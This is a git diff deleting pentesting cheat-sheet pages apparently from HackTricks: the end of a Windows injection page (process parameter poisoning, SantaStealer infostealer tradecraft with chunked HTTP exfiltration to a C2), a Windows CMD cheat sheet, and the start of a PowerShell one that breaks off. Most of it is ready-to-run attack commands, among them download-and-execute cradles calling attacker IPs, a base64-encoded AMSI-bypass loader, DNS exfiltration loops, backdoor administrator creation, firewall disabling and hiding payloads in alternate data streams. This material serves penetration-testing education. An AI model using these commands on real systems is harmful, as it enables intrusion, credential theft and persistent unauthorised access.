-   - `parameters.ShellInfo.Buffer`
-
-Minimal flow:
-
-```c
-NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
-NtReadVirtualMemoryEx(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), &bytesRead, 0);
-NtReadVirtualMemoryEx(hProcess, peb.ProcessParameters, &params, sizeof(params), &bytesRead, 0);
-// params.CommandLine.Buffer / params.Environment / params.ShellInfo.Buffer
-```
-
-### Executing the copied parameter buffer
-
-The copied parameter region is usually `RW`, not executable. A common P3 chain is:
-
-1. Create the process normally (not suspended)
-2. Make the chosen parameter page executable with `NtProtectVirtualMemory` / `VirtualProtectEx`
-3. Reuse the main thread handle already returned in `PROCESS_INFORMATION`
-4. Redirect execution with `NtSetContextThread` (`CONTEXT_CONTROL`, overwrite `RIP`)
-
-Unlike classic thread hijacking workflows, this does **not require** `SuspendThread` / `ResumeThread`; the context can be changed on the returned main thread handle directly.
-
-This avoids several APIs commonly monitored for injection:
-
-- `VirtualAllocEx` / `NtAllocateVirtualMemory(Ex)`
-- `WriteProcessMemory` / `NtWriteVirtualMemory`
-- `CreateRemoteThread` / `NtCreateThreadEx`
-- often also `SuspendThread` / `ResumeThread`
-
-### Null-byte limitation and staged shellcode
-
-All three carriers are **string or string-like data**, so a raw payload containing `0x00` is truncated during transfer. A practical workaround is a **null-free first stage** that reconstructs constants at runtime and then loads an arbitrary second stage.
-
-A simple pattern is XOR-based constant synthesis:
-
-```asm
-mov rax, XOR_A
-mov r15, XOR_B
-xor rax, r15 ; result = desired value, without embedding 0x00 bytes
-```
-
-This lets the first stage build stack strings, API arguments, DLL paths, or a second-stage shellcode loader without embedding null bytes in the transported parameter.
-
-### Stack-based API calls from the first stage
-
-When the first stage must call APIs such as `LoadLibraryA`, it can:
-
-- push the string/buffer on the target stack
-- reserve the **32-byte x64 shadow space**
-- set `RCX`, `RDX`, `R8`, `R9` to constants or `RSP`-relative pointers
-- keep `RSP` **16-byte aligned** before the call
-
-A second stage can then be copied from the stack into a `PAGE_READWRITE` allocation, flipped to `PAGE_EXECUTE_READ` with `VirtualProtect`, and jumped to, avoiding a direct RWX allocation.
-
-### Detection ideas
-
-Good hunting opportunities mentioned by the authors:
-
-- `VirtualProtectEx` / `NtProtectVirtualMemory` making **process-parameter pages executable**
-- that protection change followed by `SetThreadContext` / `NtSetContextThread`
-- remote reads of `PEB` and then `RTL_USER_PROCESS_PARAMETERS`
-- unusually long / high-entropy `lpCommandLine`, `lpEnvironment`, or `STARTUPINFO.lpReserved` values during process creation
-
-### Notes
-
-- P3 is a **cross-process transfer trick**, not a full execution primitive by itself: the copied parameter still needs an execute-permission change and an execution redirection method.
-- `RtlCreateProcessReflection` / Dirty Vanity was considered by the authors but rejected because it internally reaches suspicious primitives such as `NtWriteVirtualMemory` and `NtCreateThreadEx`.
-
-## SantaStealer Tradecraft for Fileless Evasion and Credential Theft
-
-SantaStealer (aka BluelineStealer) illustrates how modern info-stealers blend AV bypass, anti-analysis and credential access in a single workflow.
-
-### Keyboard layout gating & sandbox delay
-
-- A config flag (`anti_cis`) enumerates installed keyboard layouts via `GetKeyboardLayoutList`. If a Cyrillic layout is found, the sample drops an empty `CIS` marker and terminates before running stealers, ensuring it never detonates on excluded locales while leaving a hunting artifact.
-
-```c
-HKL layouts[64];
-int count = GetKeyboardLayoutList(64, layouts);
-for (int i = 0; i < count; i++) {
-    LANGID lang = PRIMARYLANGID(HIWORD((ULONG_PTR)layouts[i]));
-    if (lang == LANG_RUSSIAN) {
-        CreateFileA("CIS", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
-        ExitProcess(0);
-    }
-}
-Sleep(exec_delay_seconds * 1000); // config-controlled delay to outlive sandboxes
-```
-
-### Layered `check_antivm` logic
-
-- Variant A walks the process list, hashes each name with a custom rolling checksum, and compares it against embedded blocklists for debuggers/sandboxes; it repeats the checksum over the computer name and checks working directories such as `C:\analysis`.
-- Variant B inspects system properties (process-count floor, recent uptime), calls `OpenServiceA("VBoxGuest")` to detect VirtualBox additions, and performs timing checks around sleeps to spot single-stepping. Any hit aborts before modules launch.
-
-### Fileless helper + double ChaCha20 reflective loading
-
-- The primary DLL/EXE embeds a Chromium credential helper that is either dropped to disk or manually mapped in-memory; fileless mode resolves imports/relocations itself so no helper artifacts are written.
-- That helper stores a second-stage DLL encrypted twice with ChaCha20 (two 32-byte keys + 12-byte nonces). After both passes, it reflectively loads the blob (no `LoadLibrary`) and calls exports `ChromeElevator_Initialize/ProcessAllBrowsers/Cleanup` derived from [ChromElevator](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption).
-- The ChromElevator routines use direct-syscall reflective process hollowing to inject into a live Chromium browser, inherit AppBound Encryption keys, and decrypt passwords/cookies/credit cards straight from SQLite databases despite ABE hardening.
-
-
-### Modular in-memory collection & chunked HTTP exfil
-
-- `create_memory_based_log` iterates a global `memory_generators` function-pointer table and spawns one thread per enabled module (Telegram, Discord, Steam, screenshots, documents, browser extensions, etc.). Each thread writes results into shared buffers and reports its file count after a ~45s join window.
-- Once finished, everything is zipped with the statically linked `miniz` library as `%TEMP%\\Log.zip`. `ThreadPayload1` then sleeps 15s and streams the archive in 10 MB chunks via HTTP POST to `http://<C2>:6767/upload`, spoofing a browser `multipart/form-data` boundary (`----WebKitFormBoundary***`). Each chunk adds `User-Agent: upload`, `auth: <build_id>`, optional `w: <campaign_tag>`, and the last chunk appends `complete: true` so the C2 knows reassembly is done.
-
-## References
-
-- [Advanced Evasion Tradecraft: Precision Module Stomping](https://medium.com/@toneillcodes/advanced-evasion-tradecraft-precision-module-stomping-b51feb0978fe)
-- [toneillcodes/windows-process-injection](https://github.com/toneillcodes/windows-process-injection)
-- [Crystal Kit – blog](https://rastamouse.me/crystal-kit/)
-- [Crystal-Kit – GitHub](https://github.com/rasta-mouse/Crystal-Kit)
-- [Elastic – Call stacks, no more free passes for malware](https://www.elastic.co/security-labs/call-stacks-no-more-free-passes-for-malware)
-- [Crystal Palace – docs](https://tradecraftgarden.org/docs.html)
-- [simplehook – sample](https://tradecraftgarden.org/simplehook.html)
-- [stackcutting – sample](https://tradecraftgarden.org/stackcutting.html)
-- [Draugr – call-stack spoofing PIC](https://github.com/NtDallas/Draugr)
-- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
-- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
-- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
-- [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
-- [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
-- [Microsoft Docs – Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
-- [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
-- [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
-- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
-- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
-- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
-- [Zero Salarium – Break The Protective Shell Of Windows Defender With The Folder Redirect Technique](https://www.zerosalarium.com/2025/09/Break-Protective-Shell-Windows-Defender-Folder-Redirect-Technique-Symlink.html)
-- [Microsoft – mklink command reference](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
-- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
-- [Rapid7 – SantaStealer is Coming to Town: A New, Ambitious Infostealer](https://www.rapid7.com/blog/post/tr-santastealer-is-coming-to-town-a-new-ambitious-infostealer-advertised-on-underground-forums)
-- [ChromElevator – Chrome App Bound Encryption Decryption](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption)
-- [Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing](https://research.checkpoint.com/2025/gachiloader-node-js-malware-with-api-tracing/)
-- [Sleeping Beauty: Putting Adaptix to Bed with Crystal Palace](https://maorsabag.github.io/posts/adaptix-stealthpalace/sleeping-beauty/)
-- [SensePost – Process Parameter Poisoning](https://sensepost.com/blog/2026/process-parameter-poisoning/)
-- [Orange Cyberdefense – p3-loader](https://github.com/Orange-Cyberdefense/p3-loader)
-- [Sleeping Beauty II: CFG, CET, and Stack Spoofing](https://maorsabag.github.io/posts/adaptix-stealthpalace/sleeping-beauty-ii)
-- [Ekko sleep obfuscation](https://github.com/Cracked5pider/Ekko)
-- [SysWhispers4 – GitHub](https://github.com/JoasASantos/SysWhispers4)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md
deleted file mode 100644
index e8b6bcef62b..00000000000
--- a/src/windows-hardening/basic-cmd-for-pentesters.md
+++ /dev/null
@@ -1,518 +0,0 @@
-# Basic Win CMD for Pentesters
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-## System info
-
-### Version and Patches info
-
-```bash
-wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
-systeminfo
-systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
-wmic computersystem LIST full #Get PC info
-
-wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
-wmic qfe list brief #Updates
-where wmic 2>nul #WMIC is deprecated and may be absent on newer Windows 11 builds
-powershell -c "Get-CimInstance Win32_OperatingSystem | select Caption,Version,BuildNumber,OSArchitecture"
-powershell -c "Get-HotFix | select HotFixID,InstalledOn,Description"
-
-hostname
-
-DRIVERQUERY #3rd party driver vulnerable?
-```
-
-### Environment
-
-```bash
-set #List all environment variables
-```
-
-Some env variables to highlight:
-
-- **COMPUTERNAME**: Name of the computer
-- **TEMP/TMP:** Temp folder
-- **USERNAME:** Your username
-- **HOMEPATH/USERPROFILE:** Home directory
-- **windir:** C:\Windows
-- **OS**:Windos OS
-- **LOGONSERVER**: Name of domain controller
-- **USERDNSDOMAIN**: Domain name to use with DNS
-- **USERDOMAIN**: Name of the domain
-
-```bash
-nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
-```
-
-### Mounted disks
-
-```bash
-(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
-wmic logicaldisk get caption,description,providername
-```
-
-### [Defender](authentication-credentials-uac-and-efs/index.html#defender)
-
-### Recycle Bin
-
-```bash
-dir C:\$Recycle.Bin /s /b
-```
-
-### Processes, Services & Software
-
-```bash
-schtasks /query /fo LIST /v #Verbose out of scheduled tasks
-schtasks /query /fo LIST 2>nul | findstr TaskName
-schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
-tasklist /V #List processes
-tasklist /SVC #links processes to started services
-net start #Windows Services started
-wmic service list brief #List services
-sc query #List of services
-dir /a "C:\Program Files" #Installed software
-dir /a "C:\Program Files (x86)" #Installed software
-reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
-```
-
-## Domain info
-
-```bash
-# Generic AD info
-echo %USERDOMAIN% #Get domain name
-echo %USERDNSDOMAIN% #Get domain name
-echo %logonserver% #Get name of the domain controller
-set logonserver #Get name of the domain controller
-set log #Get name of the domain controller
-gpresult /V # Get current policy applied
-wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers
-
-# Users
-dsquery user #Get all users
-net user /domain #List all users of the domain
-net user <ACCOUNT_NAME> /domain #Get information about that user
-net accounts /domain #Password and lockout policy
-wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
-wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
-wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
-wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
-
-# Groups
-net group /domain #List of domain groups
-net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
-net group "Domain Admins" /domain #List users with domain admin privileges
-net group "domain computers" /domain #List of PCs connected to the domain
-net group "Domain Controllers" /domain #List PC accounts of domains controllers
-wmic group list /format:list # Information about all local groups
-wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
-wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
-wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
-
-# Computers
-dsquery computer #Get all computers
-net view /domain #Lis of PCs of the domain
-nltest /dclist:<DOMAIN> #List domain controllers
-wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
-wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
-
-# Trust relations
-nltest /domain_trusts #Mapping of the trust relationships
-
-# Get all objects inside an OU
-dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
-```
-
-### Entra ID / Hybrid Join
-
-Useful to quickly identify if the host is only AD-joined, Microsoft Entra joined, or hybrid joined, and whether the current user has a PRT cached for cloud SSO:
-
-```bash
-dsregcmd /status
-dsregcmd /status | findstr /i "AzureAdJoined EnterpriseJoined DomainJoined DeviceAuthStatus TenantName AzureAdPrt"
-```
-
-### Logs & Events
-
-```bash
-wevtutil el #List channels
-wevtutil gl Security #Configuration and size of a log
-wevtutil qe Security /rd:true /f:text /c:20
-wevtutil qe Microsoft-Windows-PowerShell/Operational /rd:true /f:text /c:20
-wevtutil qe Microsoft-Windows-Sysmon/Operational /rd:true /f:text /c:20
-wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational /rd:true /f:text /c:20
-wevtutil qe Microsoft-Windows-Windows Defender/Operational /rd:true /f:text /c:20
-wevtutil epl Security C:\Temp\Security.evtx
-
-#Make a security query using another credentials
-wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
-```
-
-## Users & Groups
-
-### Users
-
-```bash
-#Me
-whoami /all #All info about me, take a look at the enabled tokens
-whoami /priv #Show only privileges
-
-# Local users
-net users #All users
-dir /b /ad "C:\Users"
-net user %username% #Info about a user (me)
-net accounts #Information about password requirements
-wmic USERACCOUNT Get Domain,Name,Sid
-net user /add [username] [password] #Create user
-
-# Other users looged
-qwinsta #Anyone else logged in?
-
-#Lauch new cmd.exe with new creds (to impersonate in network)
-runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
-
-#Check current logon session as administrator using logonsessions from sysinternals
-logonsessions.exe
-logonsessions64.exe
-```
-
-### Groups
-
-```bash
-#Local
-net localgroup #All available groups
-net localgroup Administrators #Info about a group (admins)
-net localgroup administrators [username] /add #Add user to administrators
-
-#Domain
-net group /domain #Info about domain groups
-net group /domain <domain_group_name> #Users that belongs to the group
-```
-
-### List sessions
-
-```
-qwinsta
-klist sessions
-```
-
-### Password Policy
-
-```
-net accounts
-```
-
-### Credentials
-
-```bash
-cmdkey /list #List credential
-vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
-rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
-```
-
-### Persistence with users
-
-```bash
-# Add domain user and put them in Domain Admins group
-net user username password /ADD /DOMAIN
-net group "Domain Admins" username /ADD /DOMAIN
-
-# Add local user and put them local Administrators group
-net user username password /ADD
-net localgroup Administrators username /ADD
-
-# Add user to insteresting groups:
-net localgroup "Remote Desktop Users" UserLoginName  /add
-net localgroup "Debugger users" UserLoginName /add
-net localgroup "Power users" UserLoginName /add
-```
-
-## Network
-
-### Interfaces, Routes, Ports, Hosts and DNSCache
-
-```bash
-ipconfig /all #Info about interfaces
-route print #Print available routes
-arp -a #Know hosts
-netstat -ano #Opened ports?
-type C:\WINDOWS\System32\drivers\etc\hosts
-ipconfig /displaydns | findstr "Record" | findstr "Name Host"
-```
-
-### Firewall
-
-```bash
-netsh firewall show state # FW info, open ports
-netsh advfirewall firewall show rule name=all
-netsh firewall show config # FW info
-Netsh Advfirewall show allprofiles
-
-NetSh Advfirewall set allprofiles state off  #Turn Off
-NetSh Advfirewall set allprofiles state on  #Trun On
-netsh firewall set opmode disable #Turn Off
-
-#How to open ports
-netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
-netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
-netsh firewall add portopening TCP 3389 "Remote Desktop"
-
-#Enable Remote Desktop
-reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
-netsh firewall add portopening TCP 3389 "Remote Desktop"
-::netsh firewall set service remotedesktop enable #I found that this line is not needed
-::sc config TermService start= auto #I found that this line is not needed
-::net start Termservice #I found that this line is not needed
-
-#Enable Remote Desktop with wmic
-wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
-##or
-wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
-
-#Enable Remote assistance:
-reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
-netsh firewall set service remoteadmin enable
-
-#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
-net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
-
-::Connect to RDP (using hash or password)
-xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
-xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
-```
-
-### Shares
-
-```bash
-net view #Get a list of computers
-net view /all /domain [domainname] #Shares on the domains
-net view \\computer /ALL #List shares of a computer
-net use x: \\computer\share #Mount the share locally
-net share #Check current shares
-```
-
-### Wifi
-
-```bash
-netsh wlan show profile #AP SSID
-netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
-```
-
-### SNMP
-
-```
-reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
-```
-
-### Network Interfaces
-
-```bash
-ipconfig /all
-```
-
-### ARP table
-
-```bash
-arp -A
-```
-
-### Packet capture without third-party tools
-
-```bash
-pktmon filter remove
-pktmon filter add -p 445 #Capture SMB only
-pktmon start --capture --pkt-size 0 --file-name C:\Windows\Temp\pktmon.etl
-pktmon stop
-pktmon etl2pcap C:\Windows\Temp\pktmon.etl --out C:\Windows\Temp\pktmon.pcapng
-
-netsh trace show interfaces
-netsh trace start capture=yes tracefile=C:\Windows\Temp\nettrace.etl maxsize=256 filemode=circular
-netsh trace stop
-```
-
-## Download
-
-Curl.exe
-
-```bash
-curl.exe -k -L "https://10.10.14.13/tool.exe" -o C:\Windows\Temp\tool.exe
-curl.exe -k -L "https://10.10.14.13/archive.zip" -o C:\Windows\Temp\archive.zip
-tar -xf C:\Windows\Temp\archive.zip -C C:\Windows\Temp\
-```
-
-Bitsadmin.exe
-
-```
-bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
-```
-
-CertReq.exe
-
-```
-CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
-```
-
-Certutil.exe
-
-```
-certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
-```
-
-**Find much more searching for `Download` in** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
-
-## Misc
-
-```bash
-cd #Get current dir
-cd C:\path\to\dir #Change dir
-dir #List current dir
-dir /a:h C:\path\to\dir #List hidden files
-dir /s /b #Recursive list without shit
-time #Get current time
-date #Get current date
-shutdown /r /t 0 #Shutdown now
-type <file> #Cat file
-
-#Runas
-runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
-runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
-
-#Hide
-attrib +h file #Set Hidden
-attrib -h file #Quit Hidden
-
-#Give full control over a file that you owns
-icacls <FILE_PATH> /t /e /p <USERNAME>:F
-icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
-
-#Recursive copy to smb
-xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
-
-#exe2bat to transform exe file in bat file
-
-#ADS
-dir /r #Detect ADS
-more file.txt:ads.txt #read ADS
-powershell (Get-Content file.txt -Stream ads.txt)
-
-# Get error messages from code
-net helpmsg 32 #32 is the code in that case
-```
-
-### Bypass Char Blacklisting
-
-```bash
-echo %HOMEPATH:~6,-11%   #\
-who^ami   #whoami
-```
-
-### DOSfuscation
-
-Generates an obfuscated CMD line
-
-```bash
-git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
-cd Invoke-DOSfuscation
-Import-Module .\Invoke-DOSfuscation.psd1
-Invoke-DOSfuscation
-help
-SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
-encoding
-```
-
-### Listen address ACLs
-
-You can listen on [http://+:80/Temporary_Listen_Addresses/](http://+/Temporary_Listen_Addresses/) without being administrator.
-
-```bash
-netsh http show urlacl
-```
-
-### Manual DNS shell
-
-**Attacker** (Kali) must use one of these 2 options:
-
-```bash
-sudo responder -I <iface> #Active
-sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
-```
-
-#### Victim
-
-**`for /f tokens`** technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server
-
-```bash
-for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
-for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
-for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
-for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
-for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
-#More complex commands
-for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
-```
-
-You can also **redirect** the output, and then **read** it.
-
-```
-whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
-for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
-```
-
-## Calling CMD from C code
-
-```c
-#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */
-
-// When executed by Administrator this program will create a user and then add him to the administrators group
-// i686-w64-mingw32-gcc addmin.c -o addmin.exe
-// upx -9 addmin.exe
-
-int main (){
-    int i;
-    i=system("net users otherAcc 0TherAcc! /add");
-    i=system("net localgroup administrators otherAcc /add");
-    return 0;
-}
-```
-
-## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)
-
-**Examples taken from** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. There are a lot more in there!**
-
-```bash
-## Selected Examples of ADS Operations ##
-
-### Adding Content to ADS ###
-# Append executable to a log file as an ADS
-type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
-# Download a script directly into an ADS
-certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
-
-### Discovering ADS Content ###
-# List files and their ADS
-dir /R
-# Use Sysinternals tool to list ADS of a file
-streams.exe <c:\path\to\file>
-
-### Extracting Content from ADS ###
-# Extract an executable stored in an ADS
-expand c:\ads\file.txt:test.exe c:\temp\evil.exe
-
-### Executing ADS Content ###
-# Execute an executable stored in an ADS using WMIC
-wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
-# Execute a script stored in an ADS using PowerShell
-powershell -ep bypass - < c:\temp:ttt
-```
-
-
-## References
-
-- [Microsoft Learn - Troubleshoot devices by using the `dsregcmd` command](https://learn.microsoft.com/en-us/entra/identity/devices/troubleshoot-device-dsregcmd)
-- [Microsoft Learn - Packet Monitor (`pktmon`)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon)
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md
deleted file mode 100644
index ec25adbffcb..00000000000
--- a/src/windows-hardening/basic-powershell-for-pentesters/README.md
+++ /dev/null
@@ -1,473 +0,0 @@
-# Basic PowerShell for Pentesters
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Default PowerShell locations
-
-```bash
-C:\windows\syswow64\windowspowershell\v1.0\powershell
-C:\Windows\System32\WindowsPowerShell\v1.0\powershell
-```
-
-## Basic PS commands to start
-
-```bash
-Get-Help * #List everything loaded
-Get-Help process #List everything containing "process"
-Get-Help Get-Item -Full #Get full helpabout a topic
-Get-Help Get-Item -Examples #List examples
-Import-Module <modulepath>
-Get-Command -Module <modulename>
-```
-
-## Download & Execute
-
-```bash
-echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
-powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
-iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
-
-$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
-$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
-
-#https://twitter.com/Alh4zr3d/status/1566489367232651264
-#host a text record with your payload at one of your (unburned) domains and do this:
-powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
-```
-
-### Download & Execute in background with AMSI Bypass
-
-```bash
-Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
-```
-
-### Using b64 from linux
-
-```bash
-echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
-powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
-```
-
-## Download
-
-### System.Net.WebClient
-
-```bash
-(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
-```
-
-### Invoke-WebRequest
-
-```bash
-Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
-```
-
-### Wget
-
-```bash
